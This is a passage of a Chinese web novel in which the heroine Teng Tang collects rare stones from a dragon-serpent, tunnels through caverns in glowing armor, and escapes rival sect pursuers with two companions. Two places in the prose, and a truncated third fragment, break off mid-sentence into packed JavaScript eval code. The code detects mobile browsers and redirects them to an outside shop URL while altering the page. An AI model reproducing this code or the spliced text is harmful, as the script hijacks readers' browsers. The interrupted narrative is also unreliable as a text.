水流哗哗响,俯仰之间,地穴震动,最顶上的岩壁不停掉落石块,咚咚坠入水中。 巨大的蛟蛇盘尾百米之长,它抬高头颅,俄顷渐渐缩小,在滕棠眼皮子底下,化作半妖半人。 随其变化的,还有头顶的标识,缩小到滕棠能一眼扫完的程度。地蛟蛇身上的皮肤很丑,只有那张端正的脸看得过去。 滕棠越看越觉得它效仿了杀浮,脸型较为方正,五官充满侠客之味,美中不足的是左右眉毛太粗,显得很奇怪。 它一开口,连声音都刻意在模效:“付岚山肯听命于杀浮大人,但你这般小女子,休得支使我!” 地蛟蛇不乐意地甩动尾巴,游回自己的巢穴。 被浇了一身水的滕棠,抹把脸,心道强扭的瓜不甜。何况杀浮把付岚山结成她的灵兽,是意料之外的事,纯属这条地蛟蛇倒霉。 但求她挖石头的时候,付岚山别阻碍就行。 滕棠十分看得开,并未以兽契相要挟,而是孤身走过它的巢穴,往东部行去,礼貌问道:“付前辈,那边有其他妖兽吗?” 付岚山泡在水里,瞥了一眼滕棠手指的两人高大洞,反问道:“你想明闯我藏宝库?” “……”难怪,难怪光束这么亮。 滕棠自己把自己问尴尬了,站在原地走也不是留也不是。 空气安静了几秒,地蛟蛇似乎看穿她心思,问:“你往我藏宝洞放射白光,究竟想要作甚?” 即使有主仆兽契在,滕棠对他仍很尊敬,客气道:“我在地下寻奇石,以为那边是无主之地。” “炼器的那些石头?” 滕棠回想系统需要的奇石,似乎都是炼器之材:“正是。” 付岚山百无聊赖往滕棠洒水,动作犹似孩童,突然语调一转,对她道:“念在杀浮大人赠我那本仙法上,我就送你几块石头吧。” 他手一招,东部深不见底的黑洞忽然白光大放,从内飞出一堆五光十色的石头,个个都有脑袋大,晶莹剔透,色泽温润,标识上皆写着[奇石]二字。 滕棠当然是……惊喜地收下,生怕他反悔似的,用灵力兜下,出声连连谢过几次。 “反正我拿这些石头也没用,好看罢了。” 付岚山很受用她的仪礼和尊敬,一开始还埋怨龙神大人把他派去保护一个弱女子,此刻稍微收敛了那份轻蔑。 同时,滕棠对他的好感也在不断上涨,暗夸付岚山真大方,一一看过手里奇石的信息,十三块中级,五块高级,规格在中往上,让她一下子赚了37张中级抽奖券和19张高级抽奖券。 不仅如此,她的矿工经验值,在短短一分钟内,飙升至传奇矿工,荣获[矿神]的称号,终于获得那套[限定永久·矿神金装]。 滕棠激动不已,深呼吸平复了好一会儿,才在付岚山看土包子的眼神下,开始抽奖。 她运气向来不好,中级抽奖券仍是没抽到好东西,现在希望全寄托在高级抽奖券上。滕棠点开高级宝海,望着物品一览,不争气地流口水,心里有一个呼声:快抽快抽!脑子里是另一个声音:算了吧,抽不到的。 闭上眼睛,滕棠放空自己,捂着砰砰跳的心脏,开始紧张地抽奖。 一张无事发生,获得最低奖励99中品灵石,两张、三张无事发生,一连抽了十次都没拿到好东西,滕棠要崩溃了。 忍不住接着又抽了四张,奖励稍微好了点,有一次获得99上品灵石。 还剩五张抽奖券,她闭着眼睛在水里蹚来蹚去,嘴里念念有词,仔细听,偶尔能辨出几个“老天保佑”、“锦鲤附体”等词。 付岚山躺在旁边,嫌弃地睨了她一眼:“吵死了。” 做足各种准备,滕棠一下子把剩下五张抽完。 界面上的框框接连闪动,快速来回两三圈,在后排减速。每次滕棠以为它会停在下方最后几格时,那框框便会超出她认知,一下一下往前动,在最后一格闪烁着,硬生生重回第一排第一格,气煞人也。 连着五次,仅倒数第二次多走一格,留在99上品灵石处,其余皆是99中品灵石。 滕棠失望至极,又在意料之中,睁开眼,丧丧地叹了口气。 “怎么了?”黑暗中的付岚山问。 滕棠看不清他方位,按声音来向转过头去:“没什么,请问前辈这里是什么地方?” “地蛟蛇族的领地,你遇见我是幸事,要是遇见脾气暴躁的,早被吞了。” 付岚山说完,甩给她一块粗粝的布,味道很腥。 “有它在,你尽可于方圆百里寻宝。雾蓝秘境每百年开启九个月,其余时间皆被剧毒紫雾掩盖,除草木石土能忍受,其余生灵绝大部分时间在地穴活动。” 滕棠低头摩挲布料,在九色猫的光线下,看到上面的深浅纹路。 [获得地蛟蛇的蜕皮×1块] 这竟是付岚山的皮……滕棠默默挂在腰上,看对方的态度,是不打算跟她一道了,不过有这块皮在,应该可以震慑不少妖兽,省去途中麻烦。 水流哗啦啦地响,地面又震颤了几下,付岚山变回它的本体,吭哧吭哧喷气,把滕棠吹倒在水里。 “哦对了,那物不一定能助你。我那些族人向来不分亲疏,你看见了最好赶紧跑。” 它一开口,不再是分贝恰到好处的人声。地蛟蛇声音巨大,每个字嘈嘈锤进滕棠耳朵,许久后脑袋还在嗡嗡响。 绝对是故意的……滕棠暗中忍了忍,真想运转丹田兽符,给它来两下教训。 不过她没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032697|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这么做,毕竟是自己打搅在先,且方才受了人家恩惠。俗话说吃人手短拿人嘴软,获得那么多奇石,该安静离去了。 “多谢前辈,不知能否告诉我,地穴的妖兽都分布在哪些地方。” 付岚山弓头,暗中盯了她一会儿,见她脾气这么好,顿时觉得一拳打在棉花上,被结兽契的气有力无处使。他不开心地吭哧吭哧喷气,却没在为难她,甩给她一张地图:“出事别妄想我会帮你,我只听杀浮大人的。” 末了,他呲牙警告道:“你我实力相差悬殊,若你用兽符威胁我,我就跟你鱼死网破。” 用灵力护好耳朵,滕棠哭笑不得,同他许诺:“放心,我不会强求你。” 临走之时,滕棠把地图翻来覆去地记。地图没有把雾蓝秘境的全部地穴画完,只画了这一带的。 她在鹿焰宗藏书阁看的书,提起雾蓝秘境时,有说过地穴,但内容都不尽详实,仅粗略一句秘境内多洞穴之话。 再看手里这张地图,雾蓝秘境千米地下,竟是大片地穴,复杂程度胜过迷宫,一张地图都能把人看得眼花。 滕棠把地图收进怀里,对付岚山再次道了声谢,提起沉重的双足离开这儿。 以地图来看,往北走绕过几处深水区,通过一处窄道,能抵达某个叫晶石洞的宝地。付岚山还特地在此标明,它那些奇石都是从这儿捡的。 为了避免遇到地穴的高等级妖兽,滕棠每走几百米便要展开地图,对比四周确认方位。手上的地图乃是个精妙的灵器,会根据灵力的走向,在皮纸上逐一浮现那些点所对应的现场画作,供人辨别。 唯一不方便的是,滕棠无法夜视,浮图把岩壁都画得清晰,她要找对应的石头或标志,需要不停照耀四方。 这时,她想起自己新获得的[矿神金装],于是干脆原地换上,想试试其光照效果。 视线不明,是最麻烦的事。 打开背包,最下面是个礼盒,滕棠点击使用,下一秒便觉得自己长高了,且更加笨重了。 她把头盔上的蓝色玻璃目镜往额顶抬,眼睛里瞬间充斥刺目的金光。 好亮! 滕棠被夺目的金光亮得连九色猫都看不见,为了不盲视线,又把厚厚的目镜拉下来。她在空中招了面水镜,双手挡在眼前,一瞧,镜子中哪里有人有物?只有一个巨大无比的发光灯泡。 看系统图,金装是[银色甲衣]的升级版,不仅颜色变为金色,且更加明亮,还多了很多装饰,比如头顶的皇冠、肩上的长刺,以及足印特效,行走时,每一步脚印都会闪闪发金光,持续三秒。最酷炫的是,它多了移动音效,身体的每个关节活动时,都会发出机器人呜叽呜叽的声响。 “啊!是谁在装X,好刺眼!” 不知怎么的,服饰虽夸张,滕棠穿在身上竟隐隐高兴,自问自答:“竟是我自己!”言罢,对着水镜哈哈大笑两声,摆起pose来。 在水里跑了几步,呜叽呜叽——,她回头看见一连串的金色脚印,别提有多兴奋。前世打的游戏,不仅在这里得到实物,还穿在身上,已然是梦想成真。 39. 第 39 章 九色猫好是好,但颜色有深有浅,闪动变换太快,不利于查探周围情况。现在这身[矿神金装]是最令滕棠满意的,有蓝色目镜在,不必担心被自己的光芒伤到,既能照亮百米范围,还能每日免除十秒全部伤害。 欣赏完毕,滕棠大摇大摆地按着地图向前走,作为移动光源,心里的快乐别人想象不到。 这一路走得顺风顺水,既无大妖的威胁,又无小怪干扰。那些妖兽习惯了地穴的黑暗环境,乍被她照亮双眼,皆躲避开,或者失明呆滞当场。 不喜欢地穴的生灵,都爬去了地面,留在这儿的都是喜黑的妖兽。 换装后,检测奇石的范围更大,头上的光球不止是发射光束,还会在前方拐弯,给滕棠具体指示哪儿有奇石的存在。 她在路上挖了不少奇石,大多是低级的,有两块中级,高级的暂时没找到。 灵力在地图上弯弯绕绕,已经跑了很长一截。滕棠边走边挖,在一日后,抵达了付岚山标记的晶石洞。 可惜她弯腰入洞后,什么也没找到,头上的光球仅散发光,并不投射光束出来。她失望地凿开岩壁,从另一边抄捷径,想避开高等级妖兽,去地图上的其他晶石洞。 金装的双臂有一圈圈刃片,在双手握拳变成电钻时,会自动跟着旋转。人穿上后,仅需弯腰接触石面,便能快速地凿出一人高的隧道。 轰轰的声音在静寂的石洞内回响,滕棠惊奇地发现,两臂开凿的分贝并不大,轰隆的声音皆是石块破碎落下时所发生的。 她握紧拳头加快转动速度,不一会儿开出条窄道捷径,自厚厚的岩壁钻出来。 甫一现身在北面的水域,透过浅蓝色的目镜,滕棠似乎看到个人影,心下警惕。 她身上的金装照得很远,勉强认出那挡脸之人的等级为[12级],而附近没有其他人在。 滕棠松了口气,厉声问:“何人在哪?遮遮掩掩的,不敢露面!” 徐扉罗进入暗流后,在地穴惊心动魄地待了半个月,不敢肆意行动。但梁师兄他们地位不明,她不可能一直待在那妖鱼多的地方,于是前几日披着父亲送的避息水氅,小心翼翼找去地面的路。 今日来到这片妖兽少了很多的地方,她更加害怕,妖兽少并不意味着安全,大妖存在的几率更大。 哪料,在冰寒刺骨的水里艰难行走时,一边石壁轰轰作响,她吓得没了反应,僵在黑暗中,仔细聆听是哪边的动静。 不多时,伸手不见五指的地穴中,陡然明光爆发,亮得她失神失目,不得已提臂遮挡,脑子跟着一片空白。 直到那边传来熟悉的声音,她才醒过神,解了全身的恐惧。 滕棠见那人穿得臃肿,毛氅华丽,一直不回话,又问:“哪个门派的弟子,不敢以面示人?” “是我。” 徐扉罗放不下她的手,对于前面那个发光团,她连直视都做不到:“师妹太过刺目,我不得不遮。” 她眯起眼睛,侧头在双手的缝隙间瞧过去,对面哪有滕师妹的身影,除了一坨明灿金光,什么都看不清。 “……”最近是怎么回事,又把自己问尴尬了。滕棠戴目镜太久,全然忘记自己的光芒对他人来说是一种伤害。 她连忙收回矿神套装和九色猫,举着银色甲衣的头盔,走过去询问:“徐师姐怎么一个人在此?” “没想到师妹还活着!那日是我哥哥对不住你。” 没了超强金色光源,徐扉罗的眼睛还在持续作痛,她视线花白地拉住滕棠的手,娓娓诉说近五个月的遭遇。 “那日你的飞行灵器凭空消失后,我们去了北部寻宝。战战兢兢地度过四个月,前不久被福鹿宗的人发现,不得已跳进一个水潭,底下有暗流漩涡,当时大家一起进去的,出来后只剩下我一人。” 滕棠心里对食人螟那一事还是很记仇的,不过她记的是徐扉盛的名字,对其他人倒没有生恶。至于徐扉罗此人,她也说不清感觉,大概是不讨厌也不喜欢。 地穴如此黑暗,有个同门照应,能说说话,是件很不错的事。 和徐扉罗叙了会儿旧,滕棠提议道:“那我们去找梁师兄他们吧?” 挖了五个月奇石,在付岚山那里抽完奖,滕棠大概知晓挖再多,也抽不出好东西。算算秘境结束的时间,还有三个多月,与其挖奇石抽一堆普通衣服首饰,不如寻宝,等出去了卖大价钱,这么投资时间更为划算。 “师妹既没死,为何不用传音石联系我们?可是恨我们?” 黑暗里,徐扉罗揪紧垂带,不安地等着她的答复。 联系梁师兄他们,滕棠不是没想过,但那会儿……她挠挠头,那时沉浸于挖奇石的活动,正无法自拔,眼睛里除了土,便是猫的九种色彩,脑子里装着一个信念:我要挖到高级奇石! 而门派、师兄师姐之类的事,早被她抛于脑后。 “你兄长杀我两次,我必定是恨的。”滕棠坦然承认,并不惧他们兄妹俩动手。 找不到解释,她只好现编一个,总不能说我在挖地道找石头。 “没联系倒不是因为此事,是我传音石丢了。” “哦?是不是在那食人螟的肚子内?” 徐扉罗抬了抬冷得麻木双脚,双臂环在胸前,瑟瑟发抖道:“师妹能活着,想来有一番气运在身上。我们快走吧,这儿水深面广,找不到落脚取暖的地儿。” 这个方向,滕棠皱眉思索,记得不错的话,那边盘踞着一条地蛟蛇,是付岚山的兄弟,等级应该差不了几许。 “等等,那边危险。”她拉住徐扉罗,也不多做解释,往印象里的窄洞走。 徐扉罗在后方不动神色地打量她,很难相信,炼气四层的实力,能在食人螟的口中活下来,甚至在这危险黑暗的地穴里来去自如。 除此两点外,刚才的金光也甚是难解。 “不知滕师妹那日后……发生了何事?”徐扉罗问。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“是龙哥……!” 在徐扉罗快喊出来时,滕棠捂住了她的嘴。 “小声一点。”她死死捂住,坚决不肯放开,直到徐扉罗点头保证绝对不出声,才松开她。 天知道,她在这儿看见李婪深和陆椛是什么心情……那边二十几人,十几个穿祥天门的服饰,出招动手整齐划一,像一具具被设定好了的傀儡;另一边是伏火宗的人,因长老都在,实力比祥天门还胜一筹。 “要我说,大家都别争了,这儿有大妖气息。我们可以用小的地蛟蛇威胁大的,一起合作,共分成果。” 龙傲天出来制止众人之争,说了段话后,展开手中的地图。 “李掌门,你送我地图之恩,傲天铭记于心,请看,这处和这几处的山脉形状与蛇十分相像,对应下方的地穴,地蛟蛇应该不止一条。” 李婪深眸色闪动,沉默地思考了会儿,高声道:“那好,伏火宗与我祥天门从未交恶,今日不如合作?做朋友比做敌人好。” 伏火宗的几位长老捋动胡子,互相对视了一会儿,齐声应下:“可行。我们伏火宗此次弟子伤亡众多,与祥天门结行,皆是诚心一片。” “我们亦是。”李婪深笑不达眼底,收回视线时,特意在龙傲天身上留了一会儿。 40. 第 40 章 两个门派寒暄了一阵,互相打探消息,才知这地穴危险重重。 以往秘境开启,各大门派发现的地洞皆不大。而这处的地穴堪比一座迷宫,伏火宗七个长老带领弟子一起行动,在地下迷失已五月有余。期间,遇到无数妖兽,以地蛟蛇居多,伤亡惨重之下,才逃到这儿。 李婪深听罢,感慨一声:“若早些遇见,祥天门不会袖手旁观。” 滕棠数了数李婪深身后的弟子,发现祥天门虽然分为四队,但在地穴待了这么久,小队中的弟子却无一伤亡。 不知是运气好还是有什么倚仗。 两个门派给人的感觉亦不相同。祥天门这边整齐划一,弟子们跟木头似的,死气沉沉;伏火宗则正常许多,即使有伤在身,那些年轻弟子仍意气风发。 尤其是前头的龙傲天,一身赤红,右手搂着浑身火焰的女子,紧跟着拍了个马屁:“李掌门向来心善。” 他跟火焰女人的亲昵行为,众人已经见怪不怪。这边躲在远处的徐扉罗却是没见过,缩进毛氅中问滕棠:“那是伏火宗大师姐秦阿斓?” 虽是问句,却用的陈述的语气。论起人脉和识人的本事,她身为大小姐,肯定比滕棠知晓的多得多。心里早就有了答案。 “嘘。”滕棠一直在注意李婪深和陆椛两人的动向,哪里会在龙傲天身上浪费眼神,她对龙傲天不仅是不喜欢,甚至是非常讨厌。 和她不同,徐扉罗是真心实意喜欢龙傲天的,看见对方和秦阿斓如此亲密,心里异常不痛快。 那边,一门一宗联手后,便带走了那条小地蛟蛇,朝侧方一个洞口离去,幸运地没有往她们这里来。 滕棠微不可闻地松了口气。 “他们离开了,我们快过去与龙哥哥相认,攀上两个宗门大树,对我们非常有利。”徐扉罗着急拉起她。 滕棠怎么可能去送人头,甩开徐扉罗的手道:“你去便去,我又没拦你,只是你千万别跟人提起我。” 那边的人快走远了,徐扉罗犹豫两下,忽而腰间传音石震颤,收到梁羽赫他们的传信。 “是梁师兄的,或许他们来找我了。”她惊喜道。 取下传音石,徐扉罗贴额头慢慢读,脸色越来越白,身上抖个不停。 水流很寒冷,但不至于把她冷成这副模样。 见她久久不言语,手中传音石落入水中,睁开眼一副槁木死灰的神态,滕棠忍不住问:“怎么了?” 徐扉罗依旧只字不言,身子软趴趴地倒在水里。 一种不好的预感生起,滕棠扶她出水,晃了晃她:“梁师兄跟你说什么了?” 冷水在地穴里哗啦流动,环境太阴暗,滕棠把银色甲衣的头灯取出来,让自己看得更清晰些。 徐扉罗见到光,眼睛内也聚了两个白点,突然抓着滕棠呜呜哭起来,悲戚的声音听着比水还哀凉。 “我娘他们……他们都死了。” 她上气不接下气地说着,死命揪住滕棠的衣裳,像是抓最后一根稻草。想起娘慈爱的面庞,她抽噎几声,差点背过气去。 滕棠抱着她,抚动背部给她顺气,一时卡住,不知该说点什么话安慰人。 虽然知道五长老他们活下来的几率不大,乍一听人都死了,心还是难受的。 徐扉罗的哭声越来越大,整个地穴都回荡着悲伤呜咽。 在她嚎啕大哭下,滕棠隐隐不安,于是给她擦干泪,问:“梁师兄他们如何得知的?他们怎么样了?” “福鹿宗……福鹿、福鹿宗……”徐扉罗伤心过度,抽抽噎噎地,半天说不出一句完整的话。 滕棠耐心等她说完,对福鹿宗这三字十分敏感。梁羽赫知晓五长老们已死,必然是和福鹿宗的人遇上。 “梁师兄他们……也……”徐扉罗把滕棠衣服也哭湿了,断断续续道:“刚刚的,是死前的传音。” 滕棠惊讶,眼球晃动几下,随即冷静下来,稍稍推离徐扉罗的肩膀:“我知师姐伤心欲绝,可这地穴回音太大,易惊动到福鹿宗的人,先忍一忍吧。” 徐扉罗摇着头,哭声不止。 滕棠无奈,耳朵动了动,似乎听见一点与水流不同的声响。 地穴不该有风才对,上次是地蛟蛇的悠长鼻息,这次的,仔细听,更像破空声。 她连忙把头灯收回去,一手捂住徐扉罗的嘴,另一只手在水里摸索传音石。 “徐师姐,有人过来了,活着才能给他们报仇。” 在水中捡起传音石,滕棠用灵力在其中感受,随即注入龙傲天那一点。她把冰冷的传音石贴在徐扉罗额头上,说道:“你同龙傲天一起,更安全些。我与祥天门的掌门有生死之仇,还请师姐待会儿找到他们,不要暴露我身份。” 徐扉罗抽噎声不断,在冰水里泡了这么久,总算缓过神来,把自己的信息传递给龙傲天,抓着滕棠的手问:“那师妹你呢?你不同我一起?” “不了,李婪深和陆椛要是知道我还活着,恐怕一掌把我拍死。”滕棠苦笑道,想起魔傀之事,叮嘱她:“你可千万别亲近祥天门,都不是什么好东西。” 沉浸在母死的悲伤中,徐扉罗神魂恍惚,心不在焉地嗯了一声:“总比福鹿宗好。” 滕棠在心中比较了下,想说或许祥天门更差。 那头的黑暗中,闪现一个赤红的点,待到近时,红点变成红色的人。 龙傲天密集发光的血管,远看还好,近看属实吓人,特别是滕棠这种密恐患者。他离她们的位置越来越近,焦急地大喊:“罗儿丫头你在哪?” 滕棠无语地拍了拍徐扉罗的肩膀:“你快去吧,让他小声一点。” 徐扉罗嗯了一声,倏然起身,见到龙傲天时,情不自禁地用起更尖锐的声调:“龙哥哥!我在这儿!”完全无视滕棠的叮嘱。 这时,洞穴尽头的破空声变响,无需动耳便能听见。滕棠直觉不好。 “龙哥哥,李掌门他们呢?”徐扉罗左顾右看,没发现其他人。 “哈哈,你怎知我和李掌门他们在一起。” 龙傲天亦听见破空响,便指向尽头:“那条地蛟蛇不难对付,现下过来了。”遂又问:“你方才和谁说话?” 徐扉罗见祥天门的人不在,想起三人的关系,便说开来:“是滕师妹。”话毕,朝一边的黑暗问:“师妹,你现在要离开么?之前我看你有面纱在,不如戴着面纱跟我们走,我不会说你身份。” 嗖嗖嗖——,几把三色灵镖飞来,掷准龙傲天的方位。 整个地穴没有一点光亮,仅龙傲天这个红色的血人十分打眼,不过依据声响判断,那边应该来了好几个人。偶尔灵力灵器闪过光芒,能辨别方向。 “不好,是福鹿宗的人。”龙傲天认得这镖,上次和鹿桓的弟子呛声,中过一次。 徐扉罗惊诧:“不是祥天门的么?” 事情有异,龙傲天顾不得她,将人推至黑暗中:“棠儿丫头,快带罗儿丫头走,我来阻挡。” 滕棠被徐扉罗砸了个满怀,头上冒星星,暗骂自己干嘛跟徐扉罗一路,碰上跟男主沾边的绝没好事,尤其是她这种本该炮灰掉的炮灰。 福鹿宗的人已经赶来了,恰好是鹿桓那一队。 鹿桓大大方方地亮出自己的位置,手里盘搓两个圆球,似笑非笑地看向龙傲天:“躲得了初一,躲不过十五,今鹿焰宗长老和弟子皆死在我手下,就剩你们两位了,哦不,该是三位,那边还有个炼气四层的气息,不知是不是鹿焰宗的,今天都得死在这儿。” 龙傲天还不知师娘长老等人的死讯,此刻听了,震惊大怒,仰头咆哮一声,酷似龙吟。 “鹿桓,我要杀了你!”他浑身的血液流动加速,颜色更加鲜艳明亮,头上的两个鼓包膨胀,似有东西钻出来。 鹿桓不在意地颠动两球,歪着头拉满嘲讽:“你上次也是这样说,还杀了我两名爱徒。今日我在此,容不得你猖狂!” 他眼神陡然一变,凌厉地瞪着红色的人:“你们三个,都去我那化仙球内待着吧!” 龙傲天被他刺激到,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032699|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力瞬间暴涨两层,附近的灵气波动异常,皆往他头顶钻。在实力上涨后,他金色双瞳开始发起光来,大大的瞪得像铜铃。 滕棠看得傻眼。不愧是男主,被嘲讽后,还能提升战力,换做是她,肯定是接受嘲讽然后无事发生。 鹿桓对龙傲天一出手,他身后的弟子也有所行动。各种灵器爆发光亮,照耀整个洞穴,他们竟是在找徐扉罗和滕棠的位置。 龙傲天是主角,必定不会死。她和徐扉罗就不一定了,尤其是滕棠,一个本该挂掉的女配N号。 不自救,去指望龙傲天,是件不太靠谱的事。 “师妹……”徐扉罗吓得浑身僵硬,从小到大没面对过死亡,难免在应对上没有滕棠从容。 不就是发光么,搞得谁不能一样。滕棠拿出[矿神金装]穿上。 霎时,强烈犹如金乌的璀璨黄光,在地穴的这处爆发开来,其明度胜过灵器千百倍,在一亮出时,便令众弟子眼前一空,变成白瞎子,盲了须臾。 不仅是弟子,连龙傲天和鹿桓都猝不及防地失明了片刻,手里的招式齐齐停下。 许是众人见久了黑暗,又都没想到会有胜过白昼的金光,才在没防备下丢了视觉。 滕棠抓的就是这么一小会儿。她有蓝色目镜,并未受影响,动作迅速地把徐扉罗抗在肩上后,两手握拳,高速向下钻洞,瞬间消失在水里。 她一走,光源消失,众人看得清了。 “快去追!”鹿桓眼尖瞄见那处水流不对,立刻叫弟子入水追去。 比他更熟悉她们二人方位的是龙傲天,极快地在光源消失的那刻,头也不回地跟着下洞,在滕棠她们后方阻挡鹿桓等人的追杀。 “师父,你要帮我。”龙傲天摸了摸戒指,小声道。 他说完之后,戒指冒出一股青烟,形成一个老者的身影,正在闭目双手结印。 “此乃我幻身之术,我撑不了多久,你赶紧走。” “多谢师父。” 短暂的交流之后,龙傲天迅速追上滕棠她们。而后方,鹿桓等人被一道虚影挡住,一时半会儿脱不开身。 双手遮目,龙傲天的金瞳在前方金光的照耀下,显得黯然失色,他急急问道:“前面的可是棠儿丫头?” 回答他的是徐扉罗的声音:“是滕师妹和我。” 滕棠这会儿在心里暗骂他,不是说好了你要替我们阻挡一会儿?现在跟着我逃是什么意思。 龙傲天半闭着眼睛,一时想不通滕棠怎么能在这么快的移速下,凿出这么大的洞,大声道:“丫头别打洞了,鹿桓他们一时半会儿追不上来。” 滕棠听罢,往后瞧了一眼,回头依旧往前钻。 “师妹,龙哥哥叫你停下。”徐扉罗被她的硬肩甲硌得肚子痛。 滕棠一言不发,疯狂打洞逃。 像龙傲天这么粗犷的主角,立的flag倒的几率很大。电视不都是那么演的么,主角总是轻敌,遭到反派毒手。所以她不太相信对方所言,保险起见,还是能跑就跑,不要停下。 这和龟兔赛跑,有异曲同工之妙。 滕棠扛着徐扉罗在前极速打洞,龙傲天在后方追。三人逃了约莫一日半,前方的洞突然凿通,连接上无数条相差无几的一人高通道。 来到老位置,滕棠才松了口气,挑了一条稍窄的把徐扉罗放下来。 她把[矿神金装]收起,蓦地,一口血喷出来,吃痛地捂住丹田蹲在地上。 “师妹,你为何吐我口水……”黑暗里,徐扉罗揉着肚子,委屈道。 她因滕棠太亮,一直没睁眼,现在眼睛睁了,周围黑漆漆的,什么都看不清。 等到龙傲天过来,借着灵剑的光,看到徐扉罗满脸鲜血,吓了一跳,捧起她双手关切询问:“罗儿丫头,你哪里受了伤?快让我看看。” “我未曾受伤。”徐扉罗娇羞地扭过头,嗔怪道:“龙哥哥关心过度,是你身上龙血太亮的缘故,映得我脸冒红光。” 地上无人关心的滕棠:“……” 41. 第 41 章 “你脸上不似龙血映的光。”龙傲天抚摸她脸皮,一手的粘腻。 “是师妹。”徐扉罗用袖子擦拭,哭哑的嗓子抱怨起来,委屈极了:“她吐我口水。” 滕棠的口水,龙傲天一点都不陌生,他断了思索,在黑暗里指责瘫坐地上的人:“棠儿,你为何常吐人口水?!” 正在修复丹田损伤的滕棠,无暇理他。她双目紧闭,两手依记忆中学过的招式,结出简单的印。 怎奈手法生疏,几次解除之术都未成功。 龙傲天见她不言语,以为她默认此事,便从道德仪礼等方面训斥了会儿,才深吸一口气,问:“你方才用的何物打地洞?” “好像是师妹在地穴寻的宝贝。” 徐扉罗擦干净脸,对着袖子看了会儿,愣了几秒,放到龙傲天巨剑附近,又端详片刻,忽地“呀”一声。 “这不是口水。”她怪叫,从储物袋内取出明珠,右手颤抖:“是血……” 在明珠的光芒下,洞内什么都清楚起来。徐扉罗的衣袖已经被血染红,脸上还留有擦拭过的痕迹。在他们前面,滕棠盘坐在地,双手不断结印,五官皱在一起,似乎在忍受极大的痛苦。 “滕师妹……”徐扉罗吃惊地看向她。 斥责半天的龙傲天此时也没了声,紧张地蹲下身,观察滕棠身上的灵气波动:“她丹田受了伤。” “棠儿丫头为何不与我说明缘由!”龙傲天怪道,将自己的灵气输送过去。 “师妹何时受的伤,我竟不知。” 徐扉罗神情有些自责,她方才被滕棠抗在肩上,什么力气都没出,连滕棠受了伤都不知晓。 怎么受的伤,只有滕棠自己明白。 当卸去[矿神金装]时,她的丹田便被之前结下的符契所伤,那时她以为有人攻击自己丹田,过片刻才发现是符契所致。 照理来说,主兽符契对主有利,灵兽受伤是不会伤及主人的。但坏就坏在,付岚山受的不是一般的伤,而是李婪深的魔傀之丝。 魔傀之丝不仅可植入肉身,还能深扎识海,以达到控制的目的。符契结于双方丹田之处,灵兽被魔傀丝侵入时,其主便会遭到反噬。 恰好她方才穿着活动的挖矿套装,因bug存在,灵契感应消失,所以没有察觉此事,要是早点发现,解除符契,现在不至于被魔傀丝反噬到这么深的程度。 就在她快解除符契时,一缕孤魂从远处飞来,钻进她丹田,死死绞住符契不让她解除。 滕棠正疑惑这是个什么东西,脑中忽然响起付岚山的声音:“救我一命!我把我那些发光的石头都送给你。” 原来是它见无力夺回肉身,于是狠心出窍分神,寻找滕棠丹田符契,以保自己神魂不灭。 为了示好,它用自己剩下的力气将滕棠丹田修复好,盘在滕棠五色灵根上,泪眼汪汪道:“凡间父母盼子成龙,不切实际;你收留我,可盼我成龙,我乃地蛟龙……” 他话未说完,滕棠收到几条系统提示,嘈杂得头疼,于是甩甩头,答应了他。 一点开系统,全部是提示她战斗力低下,让她充值之类。 方才福鹿宗来人,就叮叮响过,眼下……滕棠睁开眼,扭头就跑:“快逃,他们追上来了。” 龙傲天来不及问你怎么知晓,跟着跑了两步,还真听见人声。 “这儿怎么这么多窄道?” “不知,快分头找他们。” 这些通道都是滕棠耗费五个多月,一刻不歇地挖出来的。她对这片地带熟悉得很,七拐八拐,就通过捷径上了地面。 后边的龙傲天和徐扉罗都跟得发蒙,晕头转向地出了地洞,呼吸到新鲜空气后,皆感慨:“方才的地道可真乱而密集,比地穴还昏人脑子。” “棠儿丫头真会挑道。” 地道虽复杂,担拦不了太久,福鹿宗的人始终会寻到路出来。滕棠本想向他们二人告辞,各走各的阳关道。 谁知龙傲天巨剑一起,把前面两个女子皆捎上剑。飞行在空中,他愤慨发言:“福鹿宗杀我门派长老弟子,此仇不报非君子!” 滕棠和徐扉罗互相搀扶,稳住身形。 她瞥了一眼剑柄上的红毛男人,心想要是没你龙傲天,大家可能都还活着。 雾蓝秘境地面上雾浓树多,逃上来后,福鹿宗是再也寻不到他们了。 三人一路飞过高山丛林,龙傲天站在她们身后,提起自己的计划:“回去遇上福鹿宗,我们虎口难逃。找祥天门和伏火宗,没有传音石,也不是一件易事。我和秦阿斓有灵螺感应,看在恩情的份上,她或许会带伏火宗来找我,我们先如散修一般,在远处寻宝。” 滕棠没有意见,她把注意力放在丹田处,一一接过付岚山递给她的奇石。 “没有了,真的没有了,这是最后一块。”付岚山第数不清次发誓道。 那缕魂和缩小版地蛟蛇无异,滕棠好笑地跟他商量:“你拿这些石头又无用处。喜欢是因为它们会发光,不如我拿物件跟你换?” “什么物件?”付岚山问。 当然是商城那些华而不实的外观,除了好看,一无是处,不加任何战斗力。为了吸引目光,大多饰物都是发光体,或自带环绕光效。 